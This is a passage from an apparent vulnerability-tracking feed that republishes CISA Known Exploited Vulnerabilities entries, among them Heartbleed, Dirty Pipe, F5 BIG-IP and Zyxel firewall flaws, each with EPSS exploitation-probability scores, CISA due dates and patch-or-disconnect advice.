2026-10-23T19:30:18.920Z. ### WebKitGTK Memory Corruption Vulnerability https://kevwire.com/record/CVE-2019-8720 WebKitGTK Memory Corruption Vulnerability (May 23, 2022). WebKitGTK contains a memory corruption vulnerability which can allow an attacker to perform remote code execution. EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-8720&date=2026-10-25). Sources: CISA KEV entry CVE-2019-8720: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-8720&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WhatsApp Cross-Site Scripting Vulnerability https://kevwire.com/record/CVE-2019-18426 WhatsApp Cross-Site Scripting Vulnerability (May 23, 2022). A vulnerability in WhatsApp Desktop when paired with WhatsApp for iPhone allows cross-site scripting and local file reading. EPSS 67.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-18426&date=2026-10-25). Sources: CISA KEV entry CVE-2019-18426: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-18426&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows AppX Deployment Extensions Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1385 Microsoft Windows AppX Deployment Extensions Privilege Escalation Vulnerability (May 23, 2022). A privilege escalation vulnerability exists when the Windows AppX Deployment Extensions improperly performs privilege management, resulting in access to system files. EPSS 3.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1385&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1385: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1385&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows AppX Deployment Service Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1130 Microsoft Windows AppX Deployment Service Privilege Escalation Vulnerability (May 23, 2022). A privilege escalation vulnerability exists when Windows AppX Deployment Service (AppXSVC) improperly handles hard links. EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1130&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1130: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1130&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Stack-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2018-5002 Adobe Flash Player Stack-based Buffer Overflow Vulnerability (May 23, 2022). Adobe Flash Player have a stack-based buffer overflow vulnerability that could lead to remote code execution. EPSS 25.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-5002&date=2026-10-25). Sources: CISA KEV entry CVE-2018-5002: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-5002&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2018-8589 Microsoft Win32k Privilege Escalation Vulnerability (May 23, 2022). A privilege escalation vulnerability exists when Windows improperly handles calls to Win32k.sys. An attacker who successfully exploited this vulnerability could run remote code in the security context of the local system. EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8589&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8589: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8589&date=2026-10-25 CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel Multiple Firewalls OS Command Injection Vulnerability https://kevwire.com/record/CVE-2022-30525 Zyxel Multiple Firewalls OS Command Injection Vulnerability (May 16, 2022). A command injection vulnerability in the CGI program of some Zyxel firewall versions could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-30525&date=2026-10-25). Sources: CISA KEV entry CVE-2022-30525: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-30525&date=2026-10-25 CISA added this entry on 2022-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 16, 2022; federal due date Jun 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware Spring Cloud Gateway Code Injection Vulnerability https://kevwire.com/record/CVE-2022-22947 VMware Spring Cloud Gateway Code Injection Vulnerability (May 16, 2022). Spring Cloud Gateway applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22947&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22947: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22947&date=2026-10-25 CISA added this entry on 2022-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 16, 2022; federal due date Jun 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### F5 BIG-IP Missing Authentication Vulnerability https://kevwire.com/record/CVE-2022-1388 F5 BIG-IP Missing Authentication Vulnerability (May 10, 2022). F5 BIG-IP contains a missing authentication in critical function vulnerability which can allow for remote code execution, creation or deletion of files, or disabling services. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-1388&date=2026-10-25). Sources: CISA KEV entry CVE-2022-1388: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-1388&date=2026-10-25 CISA added this entry on 2022-05-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 10, 2022; federal due date May 31, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Type Confusion Vulnerability https://kevwire.com/record/CVE-2021-1789 Apple Multiple Products Type Confusion Vulnerability (May 4, 2022). A type confusion issue affecting multiple Apple products allows processing of maliciously crafted web content, leading to arbitrary code execution. EPSS 14.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1789&date=2026-10-25). Sources: CISA KEV entry CVE-2021-1789: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1789&date=2026-10-25 CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 4, 2022; federal due date May 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Type Confusion Vulnerability https://kevwire.com/record/CVE-2019-8506 Apple Multiple Products Type Confusion Vulnerability (May 4, 2022). A type confusion issue affecting multiple Apple products allows processing of maliciously crafted web content, leading to arbitrary code execution. EPSS 16.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-8506&date=2026-10-25). Sources: CISA KEV entry CVE-2019-8506: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-8506&date=2026-10-25 CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 4, 2022; federal due date May 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2014-4113 Microsoft Win32k Privilege Escalation Vulnerability (May 4, 2022). Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation. EPSS 86.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4113&date=2026-10-25). Sources: CISA KEV entry CVE-2014-4113: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4113&date=2026-10-25 CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 4, 2022; federal due date May 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Use-After-Free Vulnerability https://kevwire.com/record/CVE-2014-0322 Microsoft Internet Explorer Use-After-Free Vulnerability (May 4, 2022). Use-after-free vulnerability in Microsoft Internet Explorer allows remote attackers to execute code. EPSS 85.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0322&date=2026-10-25). Sources: CISA KEV entry CVE-2014-0322: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0322&date=2026-10-25 CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 4, 2022; federal due date May 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### OpenSSL Information Disclosure Vulnerability https://kevwire.com/record/CVE-2014-0160 OpenSSL Information Disclosure Vulnerability (May 4, 2022). The TLS and DTLS implementations in OpenSSL do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0160&date=2026-10-25). Sources: CISA KEV entry CVE-2014-0160: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0160&date=2026-10-25 CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 4, 2022; federal due date May 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WSO2 Multiple Products Unrestrictive Upload of File Vulnerability https://kevwire.com/record/CVE-2022-29464 WSO2 Multiple Products Unrestrictive Upload of File Vulnerability (Apr 25, 2022). Multiple WSO2 products allow for unrestricted file upload, resulting in remote code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-29464&date=2026-10-25). Sources: CISA KEV entry CVE-2022-29464: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-29464&date=2026-10-25 CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows User Profile Service Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-26904 Microsoft Windows User Profile Service Privilege Escalation Vulnerability (Apr 25, 2022). Microsoft Windows User Profile Service contains an unspecified vulnerability that allows for privilege escalation. EPSS 16.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26904&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26904: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26904&date=2026-10-25 CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows User Profile Service Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-21919 Microsoft Windows User Profile Service Privilege Escalation Vulnerability (Apr 25, 2022). Microsoft Windows User Profile Service contains an unspecified vulnerability that allows for privilege escalation. EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21919&date=2026-10-25). Sources: CISA KEV entry CVE-2022-21919: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21919&date=2026-10-25 CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-0847 Linux Kernel Privilege Escalation Vulnerability (Apr 25, 2022). Linux kernel contains an improper initialization vulnerability where an unprivileged local user could escalate their privileges on the system. This vulnerability has the moniker of "Dirty Pipe." EPSS 92.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0847&date=2026-10-25). Sources: CISA KEV entry CVE-2022-0847: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0847&date=2026-10-25 CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2021-41357 Microsoft Win32k Privilege Escalation Vulnerability (Apr 25, 2022). Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation. EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-41357&date=2026-10-25). Sources: CISA KEV entry CVE-2021-41357: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-41357&date=2026-10-25 CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2021-40450 Microsoft Win32k Privilege Escalation Vulnerability (Apr 25, 2022). Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation. EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40450&date=2026-10-25). Sources: CISA KEV entry CVE-2021-40450: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40450&date=2026-10-25 CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Jenkins Script Security Plugin Sandbox Bypass Vulnerability https://kevwire.com/record/CVE-2019-1003029 Jenkins Script Security Plugin Sandbox Bypass Vulnerability (Apr 25, 2022). Jenkins Script Security Plugin contains a protection mechanism failure, allowing an attacker to bypass the sandbox. EPSS 74.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1003029&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1003029: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1003029&date=2026-10-25 CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2018-6882 Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability (Apr 19, 2022). Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability that might allow remote attackers to inject arbitrary web script or HTML. EPSS 29.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-6882&date=2026-10-25). Sources: CISA KEV entry CVE-2018-6882: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-6882&date=2026-10-25 CISA added this entry on 2022-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 19, 2022; federal due date May 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WhatsApp VOIP Stack Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2019-3568 WhatsApp VOIP Stack Buffer Overflow Vulnerability (Apr 19, 2022). A buffer overflow vulnerability in WhatsApp VOIP stack allowed remote code execution via specially crafted series of RTCP packets sent to a target phone number. EPSS 30.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-3568&date=2026-10-25). Sources: CISA KEV entry CVE-2019-3568: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-3568&date=2026-10-25 CISA added this entry on 2022-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 19, 2022; federal due date May 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Print Spooler Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-22718 Microsoft Windows Print Spooler Privilege Escalation Vulnerability (Apr 19, 2022). Microsoft Windows Print Spooler contains an unspecified vulnerability which allow for privilege escalation. EPSS 18.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22718&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22718: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22718&date=2026-10-25 CISA added this entry on 2022-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 19, 2022; federal due date May 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware Multiple Products Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-22960 VMware Multiple Products Privilege Escalation Vulnerability (Apr 15, 2022). VMware Workspace ONE Access, Identity Manager and vRealize Automation contain a privilege escalation vulnerability due to improper permissions in support scripts. EPSS 35.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22960&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22960: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22960&date=2026-10-25 CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2022-1364 Google Chromium V8 Type Confusion Vulnerability (Apr 15, 2022). Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 13.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-1364&date=2026-10-25). Sources: CISA KEV entry CVE-2022-1364: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-1364&date=2026-10-25 CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Crestron Multiple Products Command Injection Vulnerability https://kevwire.com/record/CVE-2019-3929 Crestron Multiple Products Command Injection Vulnerability (Apr 15, 2022). Multiple Crestron products are vulnerable to command injection via the file_transfer.cgi HTTP endpoint. A remote, unauthenticated attacker can use this vulnerability to execute operating system commands as root. EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-3929&date=2026-10-25). Sources: CISA KEV entry CVE-2019-3929: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-3929&date=2026-10-25 CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DNS-320 Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2019-16057 D-Link DNS-320 Remote Code Execution Vulnerability (Apr 15, 2022). The login_mgr.cgi script in D-Link DNS-320 is vulnerable to remote code execution. EPSS 86.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-16057&date=2026-10-25). Sources: CISA KEV entry CVE-2019-16057: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-16057&date=2026-10-25 CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in 